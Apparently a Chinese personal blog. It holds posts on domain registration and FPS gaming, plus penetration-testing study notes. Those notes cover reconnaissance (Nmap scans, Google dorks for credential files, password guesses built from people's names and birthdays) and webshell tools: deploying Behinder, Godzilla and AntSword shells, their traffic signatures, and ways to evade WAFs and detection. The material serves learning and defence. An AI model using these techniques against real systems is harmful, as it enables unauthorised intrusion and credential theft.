Emberlag

如何注册一个自己的域名

Wed, 04 Nov 2026 00:00:00 GMT

什么是域名#

域名就是网站在互联网上的门牌号。让人记住 emberlag.com，总比记住一串 IP 地址容易得多；而且有了域名，以后换服务器、换托管平台都不用再改对外地址。

所以动手之前先把名字想清楚——域名买完再改，成本会比想象中高。

在哪里注册#

域名只能通过 注册商 注册。常见的有 Cloudflare Registrar、Namecheap、Porkbun、Spaceship 等，各家的价格和续费策略差别不小。

这里以 Spaceship 为例：它对国内用户比较友好，支持支付宝付款。

如何注册#

先在注册商那里注册一个账号（本文以 Spaceship 为例）。
登录后在搜索框里输入想要的域名。注意要买的是根域名，也就是 xxxx.com 这种形式，不要带 www.——www 只是根域名下的一个子域名，不需要单独购买。

image.png

如果还没被人注册，直接加入购物车；如果已被占用，就换个后缀或换个拼写再试。

image.png

绑定支付方式。Spaceship 支持支付宝，选它最省事。

image.png

付款完成后，域名就属于你了。接下来去 DNS 里把解析指向你的服务器或托管平台即可。

顺手把「自动续费」打开，或者给自己设个到期提醒。域名过期后虽然还有赎回期，但赎回价格通常高得离谱。

Tips#

别只看首年价格，重点看续费价格。 不少注册商首年白菜价、续费翻好几倍。
冷门后缀往往便宜很多，比如 .xyz、.space、.cfd；.com / .cn 更贵，但也更”正统”。
打算放在国内服务器上建站，域名一般还要实名认证和 ICP 备案；如果只是挂在 Cloudflare 这类境外平台上，通常不需要备案。
建议同时开启 WHOIS 隐私保护，免得手机号和邮箱被爬虫抓走。

如何成为 FPS 游戏高手

Tue, 27 Oct 2026 16:17:00 GMT

本文是本人对 FPS 游戏的浅薄理解，带有强烈的主观色彩，请自行辨认内容的正确性。

一、FPS 理解的总体框架#

1.1 一句话概括#

FPS 的胜负 = 硬件下限 × 系统流畅度 × 基本功 × 信息与心态。

前两项决定你能不能打出该有的水平，后两项决定你能打到多高。绝大多数人卡在低分段，不是天赋问题，而是这四项里有一项长期漏风。

1.2 两个方向#

方向	内容	作用
硬件（外设）	显示器、鼠标、键盘、耳机、鼠标垫	决定操作精度的物理上限
软件（设置）	系统精简、电源计划、显卡驱动	决定帧数与延迟的稳定性
基本功	准星摆放、预瞄、移动、急停、听声辨位	决定对枪胜率
意识与复盘	地图理解、信息判断、心态、Demo 复盘	决定上分高度

1.3 常见误区#

误区	实际情况
打得菜就换更贵的鼠标	传感器性能早已溢出，模具合手才是关键
一味追求 4K 高画质	FPS 优先帧数，1080p 高刷才是主流选择
灵敏度越低越准	太低会被身法拖死，要匹配你的鼠标垫与手臂空间
用机械键盘更有”手感”	磁轴的快速触发与急停是实打实的性能优势
只练枪不练走位	多数对枪在你开枪前，位置就已经决定胜负

二、硬件：外设#

对其它类型游戏来说，外设影响有限；但对 FPS 来说，外设的重要性不亚于弓箭对于弓箭手。没有合适的外设，天生就低人一等。

2.1 重要程度排序#

优先级	外设	核心理由
★★★★★	显示器	决定你能看到多少、反应有多快
★★★★★	鼠标	唯一的瞄准输入设备，模具决定手感上限
★★★★	键盘	磁轴决定急停与身法响应速度
★★★	耳机	决定信息获取（脚步、换弹、道具）
★★	鼠标垫	影响一致性，够用即可

2.2 显示器#

先说结论（暴论）#

尺寸无脑选 24 寸，没有例外。

超过 24 寸，你就无法靠眼球一次扫完整块屏幕，必须转头或转眼球，这就是多余动作。在 FPS 里，多余动作 = 慢一步 = 输。

三个关键参数#

参数	说明	FPS 建议
尺寸	屏幕对角线长度	24 寸（24.5 寸为赛事标准）
刷新率	每秒刷新次数，单位 Hz，144Hz 即每秒刷 144 次	≥144Hz，能上 240Hz 更好
分辨率	屏幕上像素点数量，同尺寸下越多越清晰	1080p；高配且在意画质才 2K，不要更高

面板类型#

面板	优点	缺点	结论
VA	对比度高、便宜	天生拖影/鬼影	直接淘汰
IPS	色彩与速度均衡、可视角度好	漏光、对比度一般	首选性价比
TN	响应最快、便宜	色彩差、可视角度差	可选
OLED（常被叫 LED）	色彩好、响应极快、不漏光	可能烧屏、价格高	有钱就上

选购公式#

1
24 寸 + 1080p + ≥144Hz + IPS 或 TN（预算充足上 OLED）

还可以额外关注：

响应时间：GTG 1ms 级别即可，别只看营销数字
拖影/过冲：看实测评测，OD（Overdrive）档位是否可调
支架：必须能升降调高度，让屏幕中心与视线齐平
接口：DP 优先，HDMI 高刷可能受限

2.3 鼠标#

现状判断#

以前鼠标市场被罗技和雷蛇统治，卓威占一部分。随着国产鼠标崛起、罗技摆烂，目前最高的山是雷蛇。

但真正的问题是：这个时代传感器性能早就超出人类极限了。随便一个主流鼠标的性能都是溢出的，所以选购时只需要关注模具是否合手。

而模具这块，国产鼠标非常灵活，致敬了无数经典模具，再配上极致性价比——国产鼠标早就是答案了。

关注点排序#

关注点	说明
模具/握法	趴握、抓握、指握，手长手宽决定选大中小号
重量	主流 40–60g，越轻越省力，但太轻需要适应
无线延迟	主流 2.4G 已接近有线，优先选带独立接收器的
回报率	1000Hz 够用，2000/4000Hz 需高刷屏与强 CPU 才吃得住，8000hz根本没用
微动/滚轮	手感与寿命，可换微动是加分项
LOD	静默高度，越低越不影响抬鼠

品牌建议#

ATK、雷柏、迈从、万灵、scyrox、兰族——通过不断”无理由退货”试出适合自己的模具即可。

2.4 键盘#

结论#

键盘市场依旧被国产薄纱，目前已经是磁轴的天下。选任意一款国产大牌的磁轴入门款就 OK，同样是数值超模爆炸。

推荐看 ATK、迈从，性价比高。

为什么是磁轴#

磁轴不能帮你从青铜到王者，但可以帮你从铂金到钻石。

对比项	机械轴	磁轴（霍尔效应）
触发方式	物理触点，固定触发点	磁场感应，触发点可调
快速触发	无	RT（Rapid Trigger），抬手即复位
急停速度	受键程限制	0.1mm 级触发，急停更快
回报率	1000Hz 常见	1000–8000Hz
寿命	触点磨损	无触点，寿命更长

同样的价格，为什么不选性能更强的磁轴，而去选过时的机械轴？

关键设置#

1
触发点：0.1–0.5mm（WASD 可更低）
2
RT 快速触发：开启，灵敏度 0.1mm
3
回报率：1000Hz 起步，配置够就 4000/8000Hz

2.5 耳机#

虽说是因人而异，但经过亲身体会，耳机无脑选”飓风”就完事了（HyperX Cloud 系列）。国产耳机目前还不够强。

关注点：

关注点	说明
声场与定位	能否清晰分辨脚步方向与距离
佩戴舒适	长时间佩戴不夹头、不闷耳
麦克风	队友能听清即可，不必追求直播级
虚拟 7.1	多数游戏内建 HRTF 更好，虚拟环绕不要开！

2.6 鼠标垫#

有影响，但影响不大。随便选一款入门基础口粮垫就可以了，其它的其实没有吹得那么神。

可以看看 fastpad、垃圾桶外设 等。

类型	特点	适合
布垫	通用、耐用、性价比高	绝大多数人
涂层垫	更滑、更快，但寿命短	追求速度感
玻璃/树脂	极快、极稳，磨损脚贴	高阶玩家

尺寸建议 450×400mm 起步，保证大范围拉枪不脱垫。

三、软件：系统与驱动调优#

软件方面就是调整好自己的系统设置。Windows 默认带了很多玩家用不到的设置和服务，可以通过工具禁用掉，让电脑更流畅、更高帧。

3.1 影响最大的三项#

项目	作用	优先级
电源计划	防止 CPU 降频，稳定帧数	★★★★★
显卡驱动	降低延迟、关闭垂直同步与省电	★★★★★
内存 XMP/EXPO	一键解锁内存标称频率，提升 1% Low	★★★★★

3.2 系统精简清单#

项目	操作
鼠标加速	关闭”提高指针精确度”，注册表 `MouseSpeed=0`
Game Bar / Xbox DVR	卸载
全屏优化	对游戏 exe 关闭”全屏优化”
VBS / 内存完整性	关闭（会掉帧），确认无安全软件依赖
后台服务	禁用 SysMain、Windows Search 等非必要服务
系统动画	关闭窗口动画与透明效果
Windows 更新	打游戏时段暂停，避免后台占用

命令行版（管理员 PowerShell）：

Terminal window

1
# 开启"卓越性能"电源计划
2
powercfg -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61
3

4
# 关闭鼠标加速
5
reg add "HKCU\Control Panel\Mouse" /v MouseSpeed /t REG_SZ /d 0 /f
6
reg add "HKCU\Control Panel\Mouse" /v MouseThreshold1 /t REG_SZ /d 0 /f
7
reg add "HKCU\Control Panel\Mouse" /v MouseThreshold2 /t REG_SZ /d 0 /f

3.3 显卡驱动设置#

设置项	NVIDIA 建议	AMD 建议
垂直同步	关闭	关闭
低延迟模式	高（配合 Reflex）	Anti-Lag 开启
电源管理模式	最高性能优先	最高性能
纹理过滤质量	高性能	性能
三重缓冲	关闭	关闭
G-Sync/FreeSync	高刷屏可开，配合帧数上限使用	同左
着色器缓存	开启（减少卡顿）	开启

游戏内同时开启 NVIDIA Reflex / AMD Anti-Lag，可显著降低输入延迟。

3.4 内存 XMP / EXPO#

进 BIOS 打开 XMP（Intel）/ EXPO（AMD），让内存跑到标称频率（如 6000MHz）。这是零成本提升 1% Low 帧的操作，很多人装机后一直没开。

3.5 工具推荐#

工具	用途
Win11 轻松设置	一键关闭遥测、动画、冗余服务
ZyperWin++	系统精简与优化脚本集合
DDU	干净卸载显卡驱动后重装
MSI Afterburner	监控帧数、帧生成时间、温度
CapFrameX	记录帧时间曲线，排查卡顿

优化原则：只做可回滚的改动。改注册表前先导出备份，别用来路不明的”一键优化”。

四、基本功：FPS 的本质#

4.1 核心概念：点小球#

FPS 游戏本质就是点小球：谁点得更快更准，谁就赢。其它一切，都是为了点得更快更准。

4.2 动作拆解#

1
发现目标 → 移动鼠标把准星移到目标上 → 点击开火 → 击碎目标
2
   （发现）        （瞄准）                （开火）

可以归为三步：发现、瞄准、开火。

人类反应时间约 150–250ms，而移动鼠标到目标还要额外时间。所以想赢，只有两条路：

缩短每一步的时间（硬件、灵敏度、训练）
直接省掉某一步（准星摆放 + 预瞄）

4.3 准星摆放#

目的#

通过管理准星的位置，把”发现”和”瞄准”合并成一步，从而比对手更快开火。

要求#

全部时间都要注意自己的准星放在哪里。目标是：对面只要出现，就一定在你的准星上，你只需要点一下鼠标就能击杀。

两条铁律#

铁律	说明
守头线	准星永远保持在人物头部高度
守走向	你要往哪走，准星就对着哪，让准星一直停在敌人可能出现的位置

两者一合并，就是预瞄。

4.4 头线#

FPS 游戏的人物模型通常是同一套复制粘贴的，人物高度完全一致。再加上第一视角的近大远小透视，所有人的头都在同一条水平线上。

所以平时把准星放在这条线上，遇到人就直接是头部高度，省掉”往上抬枪”这一步。

实际应用：

贴墙走时，准星贴着墙角边缘的头线
过拐角时，准星提前放在拐角外侧的头线
上下坡、楼梯、箱子处要重新校准高度

4.5 预瞄的两种形态#

类型	做法	适用场景
走位预瞄	准星始终对着你前进方向、敌人可能出现的位置	全程通用
隔墙预瞄	确定敌人位置或可能蹲伏点时，隔墙提前把准星移到位，走到位停下的瞬间准星正好在敌人头上	CS 系列、架点、拉角

第二种是 CS 这类游戏的核心预瞄方式：你不是看到人才瞄准，而是走到位时准星已经在人头上。

4.6 移动的本质：近大远小#

FPS 存在透视：离掩体越近的人，看到的掩体越大、看到的其他画面越少；离掩体越远的人，看到的掩体越小、看到的画面越多。

由此推出一个重要结论：

1
你贴着掩体蹲下 → 敌人从最远离掩体的角度一点点蹭过来
2
→ 敌人先看到你，而你的视角里还看不见他

这就是近大远小的实战体现：贴墙的人视野更窄，拉远角的人先手。

移动原则#

原则	说明
走远角	尽量从离敌人掩体最远的角度走，先看到对方
积极找掩体	遭遇战第一时间能进掩体反击，而不是原地对枪
少走开阔地	暴露面越大，被多个角度同时看到的概率越高
过点不停留	危险路口一次过完，别在中间犹豫

五、进阶补全#

5.1 灵敏度与 eDPI#

eDPI = 鼠标 DPI × 游戏内灵敏度，它才是跨设备可比的真实灵敏度。

项目	建议
DPI	400 / 800 / 1600 都可以，选一个固定不动
eDPI 区间	CS 类常见 600–1200；Apex 类偏高
调整方法	从高往低降，直到能稳定完成 180° 转身不抬鼠
一致性	所有 FPS 尽量统一”厘米/360°“，形成肌肉记忆

5.2 急停与身法#

技术	要点
急停	移动中反向按一下，停稳再开枪；磁轴 RT 让抬手即停
干拉	不Peek直接拉出，风险高，用于信息明确的地方破坏敌人的预瞄
peek	先露一小条身位骗枪，收集敌人位置信息，再决定是否完整拉出
蹲拉	拉出瞬间下蹲，改变头部高度，打乱对方头线预瞄
跳拉	利用跳跃改变弹道与命中判定，多用于进攻方

5.3 听声辨位#

声音类型	信息
脚步	方向、距离、是否在跑
换弹	对方弹匣空窗期，可强拉
道具	烟雾/闪光/燃烧弹的使用意图
落地	高处跳下的位置与时机

听声的前提是耳机定位准确 + 游戏内 HRTF 设置正确，别开虚拟 7.1 。

5.4 训练与复盘#

环节	做法
热身	10 分钟死斗或 Aim Lab / KovaaK’s，唤醒手感
专项	每天 15 分钟跟踪训练 + 15 分钟甩枪训练
实战	死斗练对枪，排位练决策，两者分开练
复盘	看自己的 Demo，只找死亡原因：位置？预瞄？信息？
记录	记下每次死亡归类，一周统计一次，针对性改一个点

5.5 心态#

连败三把就停，情绪上头时决策质量断崖式下降
只关注自己能控制的事：预瞄、走位、信息，而不是队友
上分是长期均值，单局胜负不说明任何问题

信息收集

Sat, 24 Oct 2026 15:12:00 GMT

一、信息收集概述#

1.1 什么是信息收集？#

信息收集是渗透测试的第一步，目的是找到目标系统的所有资产和攻击面（可能的脆弱点）。

1.2 常见问题速查#

问题	答案要点
拿到一个网站首先做什么？	信息收集
信息收集分类？	主动和被动
信息收集需要做些什么？	技术和社工两个层面

1.3 任务类型#

类型	目标
找漏洞型	给 IP/域名/页面，找漏洞
找资产型	给单位名称，找所有下属网站的漏洞

二、信息收集思路#

2.1 针对具体某个网站或 IP#

1
1. 翻页面，找可能的漏洞利用点
2
2. 找真实 IP（CDN 绕过）
3
3. 找网站源码
4
4. 扫敏感目录和文件（含后台）
5
5. 扫危险请求方式
6
6. 扫端口（+ 识别 OS）
7
7. 找旁站（C段、子域名）
8
8. 找供应链
9
9. 社工信息搜集（名字、联系方式等）

2.2 针对某个单位或集团#

1
1. 搜集信息资产
2
   ├── 找子域名（扫描、爬虫、证书透明度）
3
   ├── 找真实 IP（CDN 绕过）
4
   ├── 扫端口服务
5
   ├── 扫危险请求方式
6
   ├── 扫敏感目录和文件
7
   └── 识别 CMS
8
2. 翻页面功能，尝试漏洞利用
9
3. 找供应链
10
4. 收集社工信息（whois、网页信息、源码信息）

2.3 攻击面分类#

层面	内容
技术层面	DNS、CDN、云服务器、OS、各类服务、代码的漏洞和不当配置
管理层面	人性弱点（社工）

三、技术信息收集#

3.1 翻看网站页面 → 找漏洞利用点#

识别指纹（网站架构和源码名称）#

指纹类型	内容
操作系统	TTL 判断（128=Windows，64=Linux）、大小写判断、响应头
中间件	Apache、Nginx、IIS、Tomcat、WebLogic
动态脚本解析器	PHP、ASP.NET、JSP
数据库	MySQL、MSSQL、Oracle
CMS/框架	ThinkPHP、Shiro、FastJSON、Struts2

工具推荐#

工具	用途
Wappalyzer	浏览器插件，识别网站技术栈
Nmap	端口扫描、OS 识别
浏览器开发者工具	查看源码、网络请求
云悉指纹	https://www.yunsee.cn
微步社区	https://x.threatbook.cn
潮汐指纹	http://finger.tidesec.com

已知漏洞搜索#

平台	URL
Seebug	https://www.seebug.org
Exploit-DB	https://www.exploit-db.com

JS 源码中的敏感信息#

产品 Banner 信息
网址资产
接口信息
个人信息、凭证
编码加密逆向信息

HTTP 响应头#

可能泄露：服务器类型、框架版本、语言版本等。

3.2 敏感资源搜集#

敏感文件类型#

类型	示例
配置文件	`.ini`、`.conf`、`.json`、`.yaml`
备份文件	`www.bak`、`www.zip`、`www.tar.gz`
日志文件	`.log`
源码文件	`.git`、`.svn`、`.swp`
后台路径	`admin`、`login`、`manage`

工具推荐#

工具	说明
御剑后台扫描	扫敏感目录和文件
DirBuster	目录爆破
7KBScan	目录扫描
自定义爬虫	自行编写

备份文件名构造思路#

1
www.gxaedu.com.bak
2
www.gxaedu.com.zip
3
www.gxaedu.com.tar.gz
4
www.gxaedu.com.bak20220902
5
gxaedu.bak
6
gxaedu.zip
7
202401gxaedu.tar.gz

3.3 绝对路径泄露#

方法	说明
查看前端源码	报错信息可能包含路径
构造报错	故意填写不存在的路径或参数
phpinfo	找 `DOCUMENT_ROOT` 或搜 `www`

3.4 源码泄露恢复#

场景	方法
GitHub 泄露	搜索公司/CMS 信息
.git 泄露	使用 GitHack 等工具
.svn 泄露	使用 SVNHack 工具
vim 缓存泄露	访问 `.index.php.swp`，使用 `vim -r index.php` 恢复

3.5 找真实 IP（CDN 绕过）#

方法	说明
子域名爆破	不同子域名可能使用不同 IP
邮件服务器	`mail.xxx.com` 与 `www.xxx.com` 同服时，查看邮件原文 IP
Favicon Hash	在 ZoomEye、FOFA、Shodan 中搜索 favicon 哈希
历史 DNS 记录	https://viewdns.info、https://x.threatbook.cn
多地 Ping	http://ping.chinaz.com
换协议	尝试 HTTP/HTTPS 不同协议
证书透明度	https://crt.sh

邮件原文查 IP：

1
QQ邮箱 → 打开邮件 → 右侧三角 → 显示邮件原文 → 找 "X-Originating-IP"

3.6 子域名搜集#

方法#

方法	说明
DNS 爆破	编写工具或使用 oneforall
搜索引擎	`site:gxaedu.com`
证书透明度	https://crt.sh
FOFA	搜索 favicon、title 等
DNS 域传送漏洞	`nmap --script dns-zone-transfer`
威胁情报网站	微步在线等

工具推荐#

工具	说明
OneForAll	功能最全（需配置）
御剑子域名爆破	Windows 工具
SubdomainBrute	经典工具

OneForAll 使用：

Terminal window

1
pip install -r requirements.txt
2
python oneforall.py --target example.com run

3.7 端口扫描#

高风险端口（必须背诵）#

端口	服务	说明
21	FTP	文件传输，可能存在匿名访问
22	SSH	远程管理，可爆破
23	Telnet	明文远程命令，不安全
53	DNS	UDP 协议
80, 443, 8080	HTTP/HTTPS	Web 服务
1433, 1434	MSSQL	SQL Server
3306	MySQL	MySQL 数据库
3389	RDP	Windows 远程桌面
5432	PostgreSQL	PostgreSQL 数据库
6379	Redis	Redis 数据库（未授权访问）
7001	WebLogic	管理界面
1098, 1099, 4444, 4445, 8080, 8009, 8083, 8093	JBoss	JBoss 常用端口
9060, 9043, 9080, 9443	WebSphere	管理控制台
4848, 3700	GlassFish	管理端口、IIOP 端口

Nmap 常用命令#

Terminal window展开收起

1
# 扫描网段存活主机
2
nmap -sn 192.168.68.0/24
3

4
# 识别操作系统
5
nmap -O 192.168.68.128
6

7
# 扫描端口（默认 1000 个）
8
nmap 192.168.68.128
9

10
# 扫描全端口
11
nmap -p 1-65535 192.168.68.128
12

13
# 推荐用法：操作系统 + 端口 + TCP半连接
14
nmap -A -T4 -sS 192.168.68.128
15

16
# 扫描网段特定端口
17
nmap -sS -p 80,443 192.168.68.0/24
18

19
# UDP 扫描 DNS
20
nmap -sU -p 53 192.168.68.0/24

展开收起

Nmap 选项速查#

选项	说明
`-O`	操作系统版本
`-F`	快速扫描
`-A`	操作系统详情扫描
`-sU`	UDP 扫描
`-Pn`	无需 ping 通直接扫端口
`-sn`	ping 扫描在线情况
`-iL`	指定输入文件
`-oN`	指定输出文件
`-sS`	半连接扫描（提高速度）
`-p`	指定端口范围
`-r`	随机扫描端口

Masscan（极速端口扫描）#

Terminal window

1
# 特点：极速，结果可能不准确
2
masscan -p 1-65535 192.168.68.128

3.8 旁站和 C 段#

旁站#

旁站 = 同一台服务器上的其他网站

在线工具： https://stool.chinaz.com/same

C 段#

C 段 = 同一 C 段（如 192.168.1.x）的其他服务器

Terminal window

1
# 扫描同一 C 段的存活主机
2
nmap -sn 192.168.68.0/24

3.9 网络空间资产搜索引擎#

平台	说明
Shodan	全球网络设备搜索引擎
FOFA	国内网络空间测绘平台
ZoomEye	知道创宇网络空间搜索引擎

3.10 威胁情报网站#

平台	说明
微步在线	https://x.threatbook.cn
Seebug	https://www.seebug.org

四、社工信息收集#

4.1 手工翻查页面#

运维信息、联系方式、邮箱、员工姓名等。

4.2 Whois 查询#

域名注册人信息（可能包含姓名、邮箱、电话等）。

多找几个 Whois 查询站：

4.3 谷歌黑客（Google Hacking）#

基本语法#

关键字	功能
`"xxx"`	双引号内内容不可拆分
`site:`	指定域名
`inurl:`	URL 存在关键字
`intext:`	网页正文中的关键字
`filetype:`	指定文件类型
`intitle:`	网页标题中的关键字
`link:`	所有与该 URL 做了链接的 URL
`info:`	查找指定站点基本信息
`-`	排除某个关键字
`*`	通配符（代表多个字母）
`+`	将忽略的字列入查询范围

常用搜索#

搜索意图	Google 语法
SQL 注入页面	`site:tw inurl:?id= filetype:php`
排除子域名	`site:baidu.com -site:video.baidu.com`
后台登录	`site:xxx.com intitle:"后台登陆"`
目录遍历	`intext:"index of"`
用户名密码文件	`filetype:txt intext:username and password`
敏感文件	`site:tw filetype:inc intext:mysql_connect`
后台管理	`site:xxx.com 管理`
邮箱信息	`site:xxx.com intext:@xxx.com`
配置文件	`site:xxx.com filetype:conf`
登录页面	`site:xxx.com inurl:login`
MongoDB 状态	`site:xxx.com intitle:mongod inurl:28017`
phpinfo	`site:xxx.com inurl:phpinfo.php`

4.4 备案信息查询#

平台	URL
爱站备案查询	https://www.beian88.com
工信部	https://beian.miit.gov.cn

4.5 公司/老板信息#

平台	用途
天眼查	公司信息、组织架构
企查查	公司信息
17CE	多地 Ping

可收集的信息：

公司地址
组织架构
联系电话/传真
人员姓名/职务
公开商业信息

4.6 社工字典构造#

根据收集到的人名、生日构造弱密码。

示例： 张三，19980105

1
zs1998
2
zs199801
3
zs0105
4
zhangsan666
5
zhangsan888
6
zs19980105

五、信息收集工具总结#

5.1 工具分类表#

用途	工具
指纹识别	Wappalyzer、云悉、潮汐
端口扫描	Nmap、Masscan
子域名收集	OneForAll、御剑、SubdomainBrute
目录扫描	御剑、DirBuster、7KBScan
旁站查询	站长之家
C段扫描	Nmap
资产搜索引擎	Shodan、FOFA、ZoomEye
威胁情报	微步在线、Seebug
Whois	站长之家、阿里云
备案查询	爱站、工信部
公司信息	天眼查、企查查
WAF 识别	WafWoof

5.2 野生三字经（顺口溜）#

搞企业先扫描，扫描器商业好，默密码都知道，社工库找一找，邮箱号先列好，九头蛇跑一跑，搞不定放大招，发邮件凭伪造，没邮箱搞网站，二级域皆可爆，老漏洞没修好，新漏洞刷一票，干研发 Git 找，源代码全都要， CDN 可以跳，防火墙可以撬，堡垒机可以秒，云防护可以秒，是企业没有哪家搞不了！

📌 快速参考卡片#

信息收集流程速查#

1
1. 确定目标 → 域名/IP
2
2. 被动收集 → Whois、备案、谷歌黑客、子域名
3
3. 主动扫描 → 端口、目录、C段
4
4. 指纹识别 → CMS、框架、中间件
5
5. 找漏洞 → 搜索历史漏洞
6
6. 社工 → 邮箱、姓名、字典

Nmap 命令速查#

Terminal window

1
# 常用
2
nmap -sS -A -T4 目标IP
3
nmap -sn 192.168.1.0/24
4
nmap -p 1-65535 目标IP
5

6
# 选项记忆
7
-sS  半连接（快）
8
-A   全面扫描
9
-O   操作系统
10
-p   指定端口
11
-sn  只 ping
12
-Pn  跳过 ping

子域名查询速查#

Terminal window

1
# OneForAll
2
python oneforall.py --target example.com run
3

4
# 域传送漏洞
5
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=example.com -p 53 -Pn dns.example.com

敏感文件扫描速查#

Terminal window

1
# 常见备份文件名
2
www.bak
3
www.zip
4
www.tar.gz
5
index.php.bak
6
config.php.swp
7
.htaccess
8
robots.txt

社工字典构造#

1
姓名首字母 + 生日
2
姓名全拼 + 123456
3
姓名拼音 + 888
4
公司名 + 123

Webshell 工具

Wed, 21 Oct 2026 15:11:00 GMT

一、工具对比概览#

特性	蚁剑	冰蝎	哥斯拉
开发语言	PHP/Node.js	Java	Java
流量特征	明文+Base64	动态二进制加密	动态加密
连接方式	短连接	长连接（Keep-Alive）	HTTP 请求
自定义传输协议	编码器/解码器	✅ 传输协议自定义	✅ 支持
主要优势	轻量、易用	流量加密强、功能全面	跨平台、支持多语言
运行环境	浏览器/桌面	JRE 8+	JRE 8+

二、冰蝎（Behinder）#

2.1 安装与启动#

环境要求： JRE 8+

Terminal window

1
java -jar Behinder.jar

2.2 使用流程#

1
1. 生成 WebShell
2
   └── 传输协议菜单 → 生成服务端脚本
3

4
2. 客户端连接
5
   └── 右键添加服务器 → 选择对应加密协议
6

7
3. 管理服务器
8
   ├── 基本信息
9
   ├── 命令执行
10
   ├── 虚拟终端
11
   ├── 文件管理
12
   ├── Socks 代理
13
   ├── 反弹 Shell
14
   ├── 数据库管理
15
   └── 自定义代码

展开收起

2.3 通信加密原理#

1
1. 本地对 Payload 进行加密 → POST 发送
2
2. 服务端收到密文 → 解密
3
3. 执行 Payload → 获取结果
4
4. 服务端对执行结果加密 → 返回
5
5. 客户端解密响应 → 得到明文

传输协议组成：

1
传输协议 = 本地协议（Java实现）+ 远程协议（PHP/C#/ASP/Java）
2
         ├── 本地加解密函数
3
         └── 远程加解密函数（至少一个语言）

💡 修改 AES 密钥需同时修改本地和远程的加解密函数。

2.4 冰蝎 4.0 流量特征#

特征	说明
Accept	`application/json, text/javascript, /; q=0.01`（弱特征）
Content-Type	`Application/x-www-form-urlencoded`（弱特征）
User-Agent	内置十几个 UA，随机选择
本地端口	约 49700 左右，每次连接递增
连接类型	长连接，`Connection: Keep-Alive`
请求头特征	`dFAXQVILORcHRQrLRIwMAhwFTAg/M`
响应头特征	`TxcWR1NNExZAD0ZaAWMPIAZJh1IBFBFtHThcJSIUXWEd`
默认密钥	`e45e329feb5d925b`（与 3.0 相同）

2.5 流量绕过方法#

方法	说明
自定义传输协议	修改加解密算法和密钥
修改 User-Agent	模拟正常浏览器
代理中转	通过代理工具转发流量
修改 Accept/Content-Type	模拟正常 API 请求

三、哥斯拉（Godzilla）#

3.1 启动#

Terminal window

1
java -jar Godzilla4.0.1.jar

切换中文：

1
Configure → Program Configuration → Core Configuration → Language → zh
2
重启生效

3.2 使用流程#

1
1. 生成 WebShell
2
   └── 管理 → 生成 → 选择语言（PHP/ASP/JSP）
3

4
2. 上传 WebShell 到目标服务器
5

6
3. 连接
7
   ├── 添加目标：http://目标IP/gsl.php
8
   ├── 选择对应语言
9
   └── 配置连接密码
10

11
4. 成功连接 → 进入管理界面
12
   ├── 基础信息
13
   ├── 命令执行
14
   └── 文件管理

3.3 哥斯拉流量特征#

特征	说明
首次请求	发送大量数据，不含 Cookie
Cookie	末尾有分号 `;`（关键特征）
User-Agent	默认暴露 JDK 信息（弱特征，可去除）
Accept	`text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2`（弱特征）
响应体	md5 前16位 + Base64 数据 + md5 后16位

3.4 流量绕过方法#

方法	说明
自定义 HTTP 头部	修改 User-Agent、Accept 等
自定义加密	修改传输加密方式
代理转发	使用中间人代理

四、蚁剑（AntSword）#

4.1 基础配置#

设置代理（抓包）#

1
蚁剑配置 → 代理设置 → 填写 Burp Suite 监听地址（127.0.0.1:8080）

编码器目录#

1
antSword/antData/encoders/

4.2 蚁剑流量特征#

特征	说明
请求体开头	`@ini_set("display_errors","0");@set_time_limit(0)`
响应体格式	`随机数 + Base64数据 + 随机数`

4.3 使用编码器绕过 WAF#

添加编码器#

将编码器解压到 antSword/antData/encoders/ 目录
在蚁剑中进入编码设置界面
选择对应的编码器

RSA 编码器#

1
1. 生成 RSA 密钥对
2
2. 生成对应的 RSA 木马
3
3. 上传木马到目标服务器
4
4. 配置编码器 → 选择 RSA

AES 编码器#

1
1. 获取木马内容（修改密码）
2
2. 保存到目标服务器
3
3. 配置编码器 → 选择 AES
4
4. 浏览器访问一次木马获取会话编号
5
5. 配置会话编号

4.4 编码器类型#

编码器	说明
`default`	默认（不推荐）
`base64`	Base64 编码
`chr`	ASCII 字符编码
`rot13`	ROT13 编码
`aes_128_ecb_zero_padding`	AES-128-ECB 加密
`aes_256_cfb_zero_padding`	AES-256-CFB 加密
`rsa`	RSA 非对称加密

五、流量绕过综合方法#

5.1 编码/加密绕过#

方法	原理
自定义编码器	自定义加解密算法，避免特征被检测
RSA 加密	非对称加密传输数据
AES 加密	对称加密传输数据
多重编码	base64 + ROT13 + 自定义混淆

5.2 代理绕过#

Terminal window

1
# 使用代理工具转发流量
2
蚁剑/冰蝎 → 本地代理 → 代理服务器 → 目标

5.3 流量混淆#

方法	说明
修改 User-Agent	模拟不同浏览器
修改 Content-Type	模拟正常 API
添加无用参数	增加噪声数据
分片传输	将数据拆分为多个小包

📌 快速参考卡片#

启动命令#

Terminal window

1
# 冰蝎
2
java -jar Behinder.jar
3

4
# 哥斯拉
5
java -jar Godzilla4.0.1.jar

核心特征速查#

工具	最明显特征
蚁剑	请求体 `@ini_set("display_errors","0")`
冰蝎	长连接 + 固定密钥 `e45e329feb5d925b`
哥斯拉	Cookie 末尾分号 + 响应体 md5 拆分

流量绕过口诀#

1
改 UA，改 Accept，
2
自定义加密最有效，
3
代理转发分片传，
4
特征隐藏查不到。

漏扫工具

Sat, 17 Oct 2026 15:10:00 GMT

一、漏扫工具概述#

1.1 漏扫工具分类#

类别	代表工具
国际	AWVS、Nessus、IBM AppScan
国内	绿盟 RSAS、极光、安恒明鉴、Xray、Pocsuite、Nuclei

1.2 漏扫工具分类#

类型	说明
主机漏扫	扫描操作系统漏洞（如 Nessus）
应用漏扫	扫描 Web 应用漏洞（如 AWVS、AppScan）

二、AWVS（Acunetix Web Vulnerability Scanner）#

2.1 简介#

AWVS 可以扫描任何通过 Web 浏览器访问且遵循 HTTP/HTTPS 规则的 Web 站点。

2.2 特点#

特点	说明
Ajax 支持	自动客户端脚本分析器，支持 Web 2.0 应用
深度检测	业内最先进的 SQL 注入和 XSS 测试
渗透工具	HTTP Editor、HTTP Fuzzer
宏记录器	轻松测试带密码保护的页面
验证码支持	支持 CAPTCHA、双因素认证
报告丰富	含 VISA PCI 合规报告
多线程扫描	高速扫描
智能爬行	检测 Web 服务器类型和语言
端口扫描	对 Web 服务器进行端口和服务扫描

2.3 Docker 安装（推荐）#

Terminal window

1
# 拉取镜像
2
docker pull secfa/docker-awvs
3

4
# 运行容器
5
docker run -d -p 3443:3443 secfa/docker-awvs

